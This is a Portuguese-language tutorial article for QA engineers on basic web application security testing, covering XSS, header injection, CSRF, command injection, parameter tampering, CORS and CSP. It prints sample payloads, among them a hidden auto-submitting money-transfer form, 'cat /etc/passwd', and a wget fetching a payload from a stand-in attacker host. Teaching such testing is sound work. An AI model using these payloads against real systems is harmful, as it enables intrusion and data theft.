Este artigo explora vulnerabilidades fundamentais e técnicas de teste, fornecendo insights práticos para aprimorar suas habilidades de pentesting de aplicativos da web. O artigo combina uma série de postagens dedicadas a engenheiros e analistas de controle de qualidade, fornecendo uma exploração prática das vulnerabilidades fundamentais da segurança cibernética. O objetivo é capacitar engenheiros/testadores/analistas de controle de qualidade com conhecimento que preencha a lacuna entre controle de qualidade de software e , promovendo uma abordagem unificada para garantir a integridade e a segurança das aplicações web. segurança cibernética Este não é um guia definitivo, mas gostaria de compartilhar minha experiência como engenheiro de controle de qualidade interessado na área de segurança cibernética; serão informações bastante superficiais com alguns links úteis se você estiver interessado em aprender alguns aspectos mais profundamente. 1. XSS (Cross Site Scripting) Uma das vulnerabilidades críticas e mais comuns é o XSS - https://owasp.org/www-community/attacks/xss/ Compartilharei uma abordagem simples e dicas sobre como testar o XSS sem ter amplo conhecimento na área e em tecnologias de desenvolvimento front-end. Insira uma tag de script, seguida de algum código JS, nos campos de entrada do seu aplicativo, por exemplo. <script>alert('XSS');</script> (%0ejavascript:alert(/XSS/)) Envie a entrada e veja se o script é executado. Se isso acontecer, o aplicativo estará vulnerável a ataques XSS. Se o script não for executado, tente modificar a entrada adicionando outras tags HTML, como ou e veja se elas são refletidas na página, por exemplo (este exemplo quase sempre funciona para mim) <img> <iframe>, <b>t</b>#`"/*—est Você pode adicionar um script para consultar parâmetros do URL do seu aplicativo da web ou um nome de usuário, nomes de arquivos carregados ( ) ou qualquer texto que será exibido na página do aplicativo que você pode alterar . https://github.com/cure53/H5SC Esteja ciente das validações front-end de entradas. Sempre tente enviar o valor por meio de uma solicitação direta (usando Postman, Burp ou qualquer ferramenta semelhante). Use difusão e uma lista de cargas úteis - automatize essa abordagem quando possível ou use ferramentas especiais para isso. Falando em ferramentas, existem muitas para descobrir XSS, experimentar diferentes, comparar resultados várias vezes com aplicativos diferentes e escolher o que você mais gosta: (usei bastante OWASP ZAP e BurpSuite). https://linuxhint.com/free_xss_tools/ Pessoalmente, gosto de usar cargas úteis e informações daqui - - um recurso muito útil, na minha opinião. https://github.com/s0md3v/AwesomeXSS Para obter mais detalhes sobre XSS e cargas úteis, você pode encontrar os seguintes recursos: https://owasp.org/www-community/attacks/xss/ https://portswigger.net/web-security/cross-site-scripting/cheat-sheet https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45 2. Injeções de cabeçalho Esta vulnerabilidade ocorre quando um invasor pode injetar código malicioso no cabeçalho de um site, permitindo-lhe executar ações não autorizadas ou acessar informações confidenciais. Para testar as injeções de cabeçalho, você pode seguir algumas etapas: Use ferramentas como Postman, Burp ou qualquer ferramenta semelhante para manipular cabeçalhos HTTP e veja se você pode adicionar cabeçalhos não autorizados ou modificar os existentes. Verifique se o servidor está enviando informações confidenciais nos cabeçalhos de resposta. Tente manipular os cookies adicionando conteúdo malicioso ou modificando os seus valores. Um exemplo de carga útil para testar injeções de cabeçalho é incluir um caractere de nova linha no campo de cabeçalho, seguido por cabeçalhos adicionais. (%0d%0a OR \r\n) Por exemplo, a seguinte carga poderia ser usada para injetar um cabeçalho Set-Cookie: User-Agent: Mozilla/5.0\r\nSet-Cookie: sessionid=111111 https:// yoursite. com?cookie=123%0D%0ASet-Cookie%3A%20TESTCOOKIE=hacked Outro exemplo é a injeção de cabeçalho Host, onde um invasor pode manipular o cabeçalho Host para acessar outro site ou subdomínio no mesmo servidor. Por exemplo: Host: yoursite.com\r\n\r\nGET /admin HTTP/1.1\r\nHost: admin.yoursite.com Para saber mais sobre injeções de cabeçalho, você pode consultar os seguintes recursos: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning https://www.acunetix.com/blog/web-security-zone/http-header-injection/ https://portswigger.net/web-security/host-header/exploiting 3. CSRF (falsificação de solicitação entre sites) O CSRF ocorre quando um site malicioso engana um usuário para que ele atue em um site diferente no qual o usuário está conectado no momento. Esse tipo de ataque pode resultar na execução de ações não autorizadas (qualquer solicitação POST) em nome do usuário. Para testar vulnerabilidades CSRF, em poucas palavras, você pode fazer o seguinte: Encontre quaisquer formulários ou ações no site que executem ações confidenciais, como alterar senhas ou realizar transações (ou quaisquer outras solicitações de postagem que possam ser prejudiciais aos usuários se forem realizadas em nome do usuário sem o seu conhecimento). Crie uma página HTML ou um snippet de código que contenha um formulário oculto que execute a mesma ação, por exemplo: <html> <body onload="document.forms[0].submit()"> <form action="https:// yoursite .com /money_transfer" method="POST"> <input type="hidden" name="toAccount" value="attackerAccount"> <input type="hidden" name="amount" value="1000"> </form> </body> </html> Salve este código como um arquivo HTML e abra-o no mesmo navegador em que você fez login no site que está testando. Verifique se a ação foi executada sem o conhecimento ou permissão do usuário. No exemplo 2, o usuário é induzido a visitar um site que envia automaticamente um formulário oculto para transferir 1.000 para a conta do invasor no site alvo. Para evitar ataques CSRF, use tokens anti-CSRF ou cookies do mesmo site para validar a origem da solicitação. Esses tokens são valores exclusivos gerados pelo servidor e incluídos no formulário ou nos parâmetros de URL. Quando o formulário é enviado, o servidor verifica se o token corresponde ao valor esperado e rejeita a solicitação se não corresponder. Aqui está um exemplo em Python: import requests # Get the CSRF token from the cookie def get_csrf_token(): cookie = requests.utils.dict_from_cookiejar(requests.cookies) return cookie.get('csrfToken') # Send an HTTP request with the CSRF token in the headers def send_http_request(url, data): csrf_token = get_csrf_token() headers = { 'Content-Type': 'application/json', 'X-CSRF-TOKEN': csrf_token } response = requests.post(url, headers=headers, data=data) return response Recursos úteis: https://owasp.org/www-community/attacks/csrf https://portswigger.net/web-security/csrf https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html 4. RCE (Execução Remota de Código) e Injeção de Comando As vulnerabilidades RCE e Command Injection ocorrem quando os invasores podem executar código arbitrário ou comandos do sistema operacional em um sistema de destino. Esses tipos de ataques podem resultar no comprometimento total do sistema e no acesso não autorizado a dados confidenciais. Para testar vulnerabilidades de RCE e injeção de comando, em poucas palavras, você pode fazer o seguinte: Identifique campos de entrada ou parâmetros que podem ser manipulados. Esses campos ou parâmetros de entrada podem ser encontrados em uma ampla variedade de locais, como formulários, parâmetros de URL, cookies, cabeçalhos HTTP, etc. Para identificar tais parâmetros, você pode usar uma ferramenta como o Burp Suite, que permite interceptar e modificar solicitações e respostas HTTP (em uma versão gratuita). O Burp irá capturar e exibir todas as solicitações e respostas, incluindo os campos de entrada e parâmetros. Depois de ter seus parâmetros, você precisa verificar se eles podem ser usados para executar código inserido ou comandos do sistema operacional. Injete cargas maliciosas nesses campos ou parâmetros. Aqui estão alguns exemplos possíveis e simples: ; ls -la - list the contents of a directory cat /etc/passwd - show the password file wget https://myhackersite.evil/payload - download files with malicious code from a remote server ping -c 1 https://www.linkedin.com/redir/general-malware-page?url=myhackersite%2eevil%2ecom - ping the attacker's website 3 Verifique o comportamento do aplicativo para ver se a carga foi executada com sucesso e se alguma informação confidencial foi enviada para você. Por exemplo, se você usou e o aplicativo exibiu uma lista de arquivos e diretórios no servidor, isso indica que a carga foi executada com êxito e que o aplicativo está vulnerável à injeção de comando. ls -la Nem todas as cargas resultarão em alguma saída visível. Nesses casos, pode ser necessário usar outros métodos, como monitorar o tráfego de rede ou revisar arquivos de log. Para evitar ataques de RCE e injeção de comando, a entrada do usuário deve ser validada e caracteres ou comandos maliciosos devem ser removidos ou higienizados. Aqui estão alguns recursos úteis para aprendizagem adicional: https://owasp.org/www-community/attacks/Command_Injection https://owasp.org/www-community/attacks/Code_Injection https://portswigger.net/web-security 5. Adulteração de parâmetros da web Esse tipo de ataque ocorre quando você manipula os parâmetros enviados do lado do cliente para o lado do servidor, levando, por exemplo, a acesso não autorizado ou escalonamento de privilégios. Para testar esse tipo de vulnerabilidade, você pode fazer o seguinte: Identifique campos de entrada ou parâmetros que podem ser manipulados. Semelhante a outras vulnerabilidades, você pode usar uma ferramenta como o Burp Suite para interceptar e modificar solicitações e respostas HTTP. Modifique os parâmetros. Por exemplo, se um parâmetro controla o preço de um produto, você pode modificá-lo para comprar itens por um preço mais baixo:- alterar o preço de um produto de 10 para 1.- ignorar a autenticação manipulando o parâmetro ID do usuário.- alterar o parâmetro quantidade de um produto para um número negativo para obter um reembolso ou para um número maior para obter mais itens pelo preço de 1 item. Verifique o comportamento do aplicativo para ver se a violação foi bem-sucedida. Por exemplo, se você alterar o preço com êxito, o aplicativo deverá refletir essa alteração quando você verificar o carrinho ou o recibo. E, claro, relate suas descobertas aos desenvolvedores para que eles possam corrigir o problema antes que ele se torne um risco à segurança. Para evitar ataques de adulteração de parâmetros da Web, a validação e a higienização de entradas são cruciais. Certifique-se de que todos os dados de entrada sejam validados no lado do servidor e que o aplicativo rejeite quaisquer entradas maliciosas. Eu diria que esses tipos de vulnerabilidades são os melhores para serem identificados por uma equipe de controle de qualidade porque os controles de qualidade conhecem o aplicativo/produto e sua lógica e parâmetros melhor do que os engenheiros de segurança da informação que geralmente não estão envolvidos no processo de desenvolvimento. Aqui estão alguns recursos adicionais para ajudá-lo a aprender mais sobre adulteração de parâmetros da Web: https://owasp.org/www-community/attacks/Web_Parameter_Tampering https://www.geeksforgeeks.org/web-parameter-tampering-attack-on-web-servers/ https://www.imperva.com/learn/application-security/parameter-tampering/ 6. Compartilhamento de recursos entre origens (CORS) Este é um mecanismo de segurança que impede que páginas da web façam solicitações para um domínio diferente daquele que atendeu a página da web. Você pode testar fazendo o seguinte: Abra no navegador qualquer domínio (por exemplo, google.com) do qual deveria ser proibido acessar seu host. No console do navegador use este comando: fetch('https://beapimysite.com') .then(response=>response.json()) .then(data=>{ console.log(data); }) Se tudo estiver configurado corretamente, você deverá obter o seguinte: access to fetch at 'https://beapimysite.com' from origin 'https://www. google.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. Siga estas etapas simples: Encontre os domínios de origem e destino envolvidos na solicitação. O domínio de origem é o domínio da página da web que faz a solicitação, e o domínio de destino é o domínio para o qual a solicitação está sendo enviada. Usando uma ferramenta como o Postman, envie uma solicitação do domínio de origem para o domínio de destino. Certifique-se de incluir os cabeçalhos apropriados para indicar que a solicitação é de origem cruzada. O servidor deve incluir o cabeçalho Access-Control-Allow-Origin na resposta para indicar que a solicitação é permitida no domínio de origem. Se este cabeçalho estiver ausente ou definido com um valor diferente, isso poderá indicar uma vulnerabilidade no aplicativo. Se o cabeçalho Access-Control-Allow-Origin estiver ausente ou definido como um valor, tente ignorar as restrições modificando a solicitação. Por exemplo, você pode tentar alterar o cabeçalho Origin para corresponder ao domínio de destino ou usar um método HTTP diferente. Aqui estão alguns exemplos de solicitações para testar: Request from https://mysite.com to https://beapimysite.com: GET /api/data HTTP/1.1 Host: beapimysite.com Origin: https ://mysite.com Access-Control-Request-Method: GET Access-Control-Request-Headers: X-Requested-With Resposta: HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Headers: X-Requested-With Para obter mais informações sobre CORS, aqui estão alguns recursos úteis: https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS https://portswigger.net/web-security/cors 7. Cabeçalho da Política de Segurança de Conteúdo (CSP) não definido CSP é um mecanismo que ajuda a prevenir ataques XSS, permitindo especificar quais fontes de conteúdo podem ser carregadas nas páginas da web. Sem um cabeçalho CSP definido, é potencialmente possível injetar scripts maliciosos na página e roubar dados confidenciais do usuário ou realizar outras ações. Você pode fazer o seguinte para verificar o cabeçalho CSP: Abra a página da web que deseja testar em um navegador. Abra as ferramentas de desenvolvimento em seu navegador e vá para o Console. Digite o seguinte código: document.cookie=TESTCOOKIE=XSS; Se for executado com sucesso - nenhuma mensagem de erro. Isso indica que a página é potencialmente vulnerável ao XSS porque permite a configuração de cookies de uma fonte externa. Tente injetar um script na página e veja se ele é executado. Por exemplo, insira o seguinte código no console do navegador: var script = document.create; Element('script');script.src = 'http://dangeroussite.com/dolphin.js'; document.head.appendChild(script); Procure o cabeçalho Content-Security-Policy nos cabeçalhos de resposta. Se este cabeçalho estiver faltando, significa que a página da web não possui nenhum cabeçalho CSP definido. O cabeçalho CSP é algo importante na segurança de aplicativos da web. Para mais informações sobre CSP: https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP A relação simbiótica entre segurança cibernética e controle de qualidade de software é importante em termos de segurança de aplicativos de software. Através da integração de metodologias de modelagem de ameaças e técnicas automatizadas de testes fuzz, os engenheiros de controle de qualidade contribuem significativamente para a detecção precoce e mitigação de vulnerabilidades de segurança. A colaboração entre as equipes de segurança cibernética e de controle de qualidade é parte integrante de uma abordagem unificada para o desenvolvimento de software, com o papel do controle de qualidade estendendo-se além dos testes funcionais e de usabilidade para abranger a identificação proativa e a retificação de possíveis falhas de segurança. É importante reconhecer o controle de qualidade como um ativo estratégico nos esforços de segurança cibernética, pois não apenas melhora a proteção de dados, mas também protege a reputação de uma empresa, a confiança do cliente e a estabilidade financeira geral. As competências técnicas dos profissionais de QA, juntamente com as suas rigorosas práticas de testes, estabelecem uma defesa robusta contra ameaças cibernéticas. Um lembrete crucial: Sempre conduza testes de penetração com permissão explícita e em um ambiente controlado. Esta abordagem ética garante que as avaliações de segurança se alinhem com protocolos de testes responsáveis, evitando comprometimentos inadvertidos dos sistemas e mantendo a integridade do processo de testes e da estratégia global de segurança cibernética. Este artigo compartilha dicas práticas para engenheiros de controle de qualidade melhorarem os testes de segurança de aplicativos da web, conectando controle de qualidade de software e segurança cibernética. É um guia para iniciantes com insights e links úteis para quem deseja aprender mais. Também publicado . aqui

This story contains new, firsthand information uncovered by the writer.

Este áudio é produzido no idioma original da história!

Muito longo; Para ler

Making security fun one episode at a time

Fundamentos de segurança cibernética: dicas práticas de teste de segurança de aplicativos da Web para engenheiros de controle de qualidade

Muito longo; Para ler

Constantine

STORY’S CREDIBILITY

Original Reporting

About Author

Rótulos

Languages

ESTE ARTIGO FOI APRESENTADO EM...

Fundamentos de segurança cibernética: dicas práticas de teste de segurança de aplicativos da Web para engenheiros de controle de qualidade

Muito longo; Para ler

Constantine

STORY’S CREDIBILITY

Original Reporting

About Author

Rótulos

Languages

ESTE ARTIGO FOI APRESENTADO EM...

HISTÓRIAS RELACIONADAS